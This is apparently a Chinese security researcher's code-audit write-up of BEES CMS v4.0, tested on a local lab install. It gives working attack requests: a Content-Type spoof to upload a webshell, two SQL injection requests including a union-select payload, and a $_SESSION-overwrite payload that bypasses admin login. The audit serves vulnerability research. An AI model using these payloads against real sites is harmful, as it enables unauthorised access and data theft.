一、环境搭建

访问install目录,按照步骤搭建cms
image.png

二、后台文件上传漏洞

admin/upload.php中存在文件上传功能
image.png
其中存在一处判断函数up_img()
image.png
跟踪这个函数,跳转到fun.php
image.png
up_img中比较关键的变量有两个$file和$type

  1. $file:上传的文件
  2. $type:允许上传的文件类型

image.png
将上传文件的文件类型赋值给变量$file_type再转换为小写,通过in_array()判断转换为小写的$file_type是不是存在$type中,如果不存在则报错。

这里上传点的逻辑总结下来就是:

  1. 校验上传文件的content-type字段,如果content-type字段是允许上传的类型,则上传成功,否则上传失败。
  2. 所以这里我们只要在数据包中修改content-type字段,就可以绕过上传校验,上传webshell

访问admin/upload.php
image.png
抓包上传
image.png
webshell地址:http://192.168.55.14/BEES_V4.0/upload/img/20210709114223806.php
image.png

三、后台SQL注入

admin/admin_book.php存在SQL注入漏洞,具体漏洞代码和函数如下:
image.png
通过GET方式获取可控参数id,没有经过任何过滤就直接拼接到SQL语句中了,由此造成了SQL注入漏洞。
具体漏洞数据包如下:

  1. GET /BEES_V4.0/admin/admin_book.php?action=del&id=1*HTTP/1.1
  2. Host: 192.168.55.14
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: phpbb3_8kp69_u=1; phpbb3_8kp69_k=; phpbb3_8kp69_sid=7fea69e0143764f5e5d6e066aee94094; PHPSESSION=oi4s83qrcrv7cjehiais4miae4; think_template=default; first_look=1; UM_distinctid=17a569fa3a69f9-0a9a288d7e577e-34657400-168000-17a569fa3a73c0; CNZZDATA1257137=cnzz_eid%3D1861184543-1624946181-%26ntime%3D1624946181; Hm_lvt_b60316de6009d5654de7312f772162be=1624956704; LankeMobile=p; Hm_lvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1624966138; Hm_lpvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1625109751; Hm_lpvt_b60316de6009d5654de7312f772162be=1625123375; PHPSESSID=55nfe713q0d6qvsfera2r5m8h4
  10. Connection: close

image.png
image.png

四、后台SQL注入

在admin/admin_catagory.php中由于参数过滤不严格造成SQL注入漏洞,具体代码如下:
image.png
分析代码发现:
变量$parent直接拼接到SQL语句中进行查询没有经过任何过滤。那么变量$parent是从哪里来的或者是怎么传递的呢?我们跟踪一下$parent
image.png
image.png
image.png
定位到$parent的传入方式,可以发现将参数$parent拼接到SQL语句的过程中没有经过任何过滤,所以可以利用SQL注入漏洞进行攻击,具体数据包如下:

  1. GET /BEES_V4.0/admin/admin_catagory.php?action=child&channel_id=1&parent=1+union+select+database() HTTP/1.1
  2. Host: 192.168.55.14
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Cookie: phpbb3_8kp69_u=1; phpbb3_8kp69_k=; phpbb3_8kp69_sid=7fea69e0143764f5e5d6e066aee94094; PHPSESSION=oi4s83qrcrv7cjehiais4miae4; think_template=default; first_look=1; UM_distinctid=17a569fa3a69f9-0a9a288d7e577e-34657400-168000-17a569fa3a73c0; CNZZDATA1257137=cnzz_eid%3D1861184543-1624946181-%26ntime%3D1624946181; Hm_lvt_b60316de6009d5654de7312f772162be=1624956704; LankeMobile=p; Hm_lvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1624966138; Hm_lpvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1625109751; Hm_lpvt_b60316de6009d5654de7312f772162be=1625123375; PHPSESSID=8od23fjvreubqplscq49pbpmd7; rememberMe=1
  9. Connection: close

image.png
image.png

五、任意用户登陆把后台文件上传变为前台文件上传

之前搞了一个后台文件上传,想要利用必须要进后台才可以,利用难度较大,看看能不能把后台上传变为前台上传。所以我们需要搞清楚后台是如何校验我们的身份的?

admin/upload.php中包含了init.php
image.png
在init.php的54行,引用了is_login()函数
image.png
跟踪is_login()函数到fun.php的997行
image.png
这里可以发现,程序并没有校验username和password,而是校验了login_in和admin这两个session表示位是否超时,这样的话我们是不是可以覆盖session表示位?
$_SESSION覆盖有个必须前提,session_start()必须出现在覆盖之前,不然就算覆盖了$_SESSION变量,一旦session_start() 变量就会被初始化掉。
image.png
这样利用起来就简单了,我们只要让$_SESSION[‘login_in’]和$_SESSION[‘admin’]存在,且time()-$_SESSION[login_time]小于3600就证明用户身份存在。
构造payload

  1. _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=999999999

image.png
image.png
成功访问后台上传口